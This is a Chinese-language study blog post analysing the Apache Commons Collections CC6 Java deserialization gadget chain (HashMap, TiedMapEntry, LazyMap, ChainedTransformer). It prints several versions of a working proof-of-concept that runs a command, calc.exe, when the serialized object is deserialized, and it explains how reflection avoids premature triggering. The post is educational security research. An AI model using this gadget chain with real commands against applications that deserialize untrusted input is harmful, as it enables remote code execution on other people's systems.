CC6…

  • Post author:
  • Post category:其他


标题要大于5个字,弄了一会,,原来是最上面的标题。



1. 前言…

接着P神的CC1,往后分析,CC1是真能够解决

8u71

之前的使用的,遇到的问题就是

CC1

用到了

AnnotationInvocationHandler

类,但是

AnnotationInvocationHandler

类的

readObject()

方法在

8u71

以后逻辑就发生了改变,不能再利用了,所以需要找一个可以解决

高版本Java

的利用链。

先看P神的简化调用链:

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()


看着链子大致就能懂了,反序列化的对象是

HashMap

对象。联想一下

URLDNS



HashMap



readObject

中调用了

hash()



hash()

函数中调用了

key



hashCode()



TiedMapEntry



hashCode()

函数:

我们需要看的主要是从最开始到

org.apache.commons.collections.map.LazyMap.get()

的那⼀部分,因为

LazyMap#get()

后⾯的部分在上⼀篇⽂章⾥已经说了

所以简单来说,

解决Java高版本利用问题,就是找上下文中是否还有其他调用

LazyMap#get()

的地方

, ,

get()

不存在的键的时候,就会调用

transform()

方法,



2. 分析CC6…

我们找到的类是

org.apache.commons.collections.keyvalue.TiedMapEntry

,在其

getValue()

⽅法中调⽤了

this.map.get()

,⽽其

hashCode⽅法

调⽤了

getValue⽅法



2.1 TiedMapEnrty…

还是看一下源码:

翻译:

一个绑定到下面的map的一个map entry,它能让一个map enrty 来改变底层map,然后,这可能会弄乱任何一个迭代器。

。 翻译的一塌糊涂,,,

/**
 * A Map Entry tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
 * 
 * @author Stephen Colebourne
 */
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

构造方法: 翻译:

用给定的map和key来创建一个新的entry

    
    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

hashCode()

/**
 * Gets a hashCode compatible with the equals method.
 * <p>
 * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
 * 
 * @return a suitable hash code
 */
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); 
}

getvalue()

/**
 * Gets the value of this entry direct from the map.
 * 
 * @return the value
 */
public Object getValue() {
    return map.get(key);
}

这里的

map

,我们应该是要替换为

LazyMap

所以,要触发

LazyMap

利用链,那么就是要找哪里利用了

TiedMapEntry#hashCode()

这个是

HashMap



hash()

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }


ysoserial

中,是利⽤

java.util.HashSet#readObject



HashMap#put()



HashMap#hash(key)

最后到

TiedMapEntry#hashCode()

实际上 P神 发现,在

java.util.HashMap#readObject

中就可以找到

HashMap#hash()

的调⽤,去掉了最前⾯的两次调用,然后给

HashMap

传入参数是

TiedMapEntry

,然后走

TiedMapEntry#hashCode()

。然后

TiedMapEntry#getValue()

。然后

LazyMap#get()

。。

需要我们给

HashMap

传入参数是

TiedMapEntry

。给

TiedMapEntry

传参

LazyMap

/**
 * Reconstitute the {@code HashMap} instance from a stream (i.e.,
 * deserialize it).
 */
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
	...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}


readObject()

中就有

hash(key)

, 那么我们就让这个

key



TiedMapEntry

就行了

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在这里插入图片描述


TiedMapEntry

的构造方法和

getValue

, 那么 这个的第一个参数就是

LazyMap

了。

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

public Object getValue() {
    return map.get(key);
}

在这里插入图片描述

来Gadget!



2.2 开始构造 poc

先来上 CC1 的后边部分 ,这个是

LazyMap.put()

方法触发计算器的那个东西,

package ysoserial.test.adamtest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc6demo1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        Object o = outerMap.get("1");

    }
}

我一开始写的这个,和feng师傅一样,,

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,
                Object[].class}, new Object[]{null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{
                    "calc.exe"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);


        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap<>();

        map.put(tme,"value");

        byte[] bytes = serialize(map);
        System.out.println(bytes.toString());
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

出现的第一个问题就是,我在这里就直接弹计算器了,后来P神说是intellij在debug的时候会调用一些

toString()

,然后就会执行

        map.put(tme,"value");

就利用了一下P神的思路,在序列化之前用一个没影响的

Transformer[]

,也就是

fakeTransformers

为了避免本地调试时触发命令执

⾏,我构造

LazyMap

的时候先⽤了⼀个⼈畜⽆害的

fakeTransformers

对象,等最后要⽣成

Payload

时候,再把真正的

transformers

替换进去

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}),
        };
        //这两个哪一个都行
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

        byte[] bytes = serialize(map);
        System.out.println(new String(bytes));
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

但是没有弹出来计算器啊。。

在这里插入图片描述



2.3. 为什么没有弹出来计算器

你会发现关键点在

LazyMap的get⽅法

,下图我画框的部分,就是最后触发命令执⾏的

transform()

,但是这个if语句并没有进⼊,因为

map.containsKey(key)

的结果是

true

在这里插入图片描述

在这里插入图片描述

这是为什么呢?

outerMap

中我并没有放⼊⼀个

key

是 keykey 的对象呀?我们看下之前的代码,唯⼀出现 keykey 的地⽅就是在

TiedMapEntry

的构造函数⾥,



TiedMapEntry



构造函数

并没有修改

outerMap

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

其实,这个关键点就出在

expMap.put(tme, "valuevalue");

这个语句⾥⾯。

HashMap



put

⽅法中,也有调⽤到

hash(key)

public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
}

这⾥就导致

LazyMap

这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了

fakeTransformers

,所以此时并没有触发

命令执⾏

,但实际上也对我们构造

Payload

产⽣了影响。我们的解决⽅法也很简单,只需要将

adamkey

这个

Key

,再从

outerMap

中移除即可:

outerMap.remove("keykey") 

最后的poc 。 但是 凭空多了后面的反射,下面会进行讲解

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class cc6demo1 {

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}),
        };
        //这两个哪一个都行
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

        outerMap.remove("adamkey");
//
        Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        //换上真的 transformers
        field.set(chainedTransformer,transformers);

        byte[] bytes = serialize(map);
        System.out.println(new String(bytes));
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        return baos.toByteArray();
    }

}

在这里插入图片描述



2.4 理解最后的反射,讲解

在这里插入图片描述

public class ChainedTransformer implements Transformer, Serializable {

    private final Transformer[] iTransformers;
    
    
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

这个

ChainedTransformer



iTransformers

是一个私有属性,前面说了,put的时候,调用了一次

LazyMap

了,只不过我们传入的是

faketransformers

所以没有影响,然后后面

LazyMap

中有了键名,然后我们

remove

掉,

然后再次修改

ChainedTransformer



iTransformers

这个属性,但是这里是

private

属性,然后我们只想修改属性,不想再次new一个出来,所以,就

类属性

.

set(类对象,值)

就是给

chainedTransformer

对象的

iTransformers

属性,赋予

transformers

的值,

这个是之前的样子,

ChainedTransformer

的构造方法就是将参数给

iTransformers

,所以这两个的效果是一样的。

  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);



2.4.1 反射 filed.set…

反射的 Field 类的 set 方法,第一个参数是对象,然后第二个参数才是我们要给这个 field 属性设置的值。

    public void set(Object obj, Object value)
        throws IllegalArgumentException, IllegalAccessException
    {

这个和

Method.invoke(对象实例,参数)

巨像无比,


启示:遇到不懂的用法,千万不要逃避,要去看源码,源码中有解释的



3. 反思…

为什么我自己没有写出来,

开始的 时候,我写的poc和feng师傅的一样,但是之后我就不会了。就看答案了。但是feng师傅它就自己摸索

那么后面换成了

faketransformer

之后呢.我就没有了思考了。没有想到 要把 fake 换为真的,然后换为真的的时候,需要使用

反射

来操作,原因就是那个属性是

private

并且 我对于 Filed 的 反射设置属性的值不会,而且中间差点放弃,以后遇到困难,首先要想到去看源码



缺点111111…

没有自己独立思考,总爱看别人的思路



缺点22222…

遇到困难,应该要首先看源码



4.这个是没有版本限制的

最强的,竟然没有用到 那个 Anno 的反射,,,😮。



5. 参考

《Java安全漫谈》

https://y4tacker.blog.csdn.net/article/details/117456813

https://ego00.blog.csdn.net/article/details/119739082



版权声明:本文为Zero_Adam原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。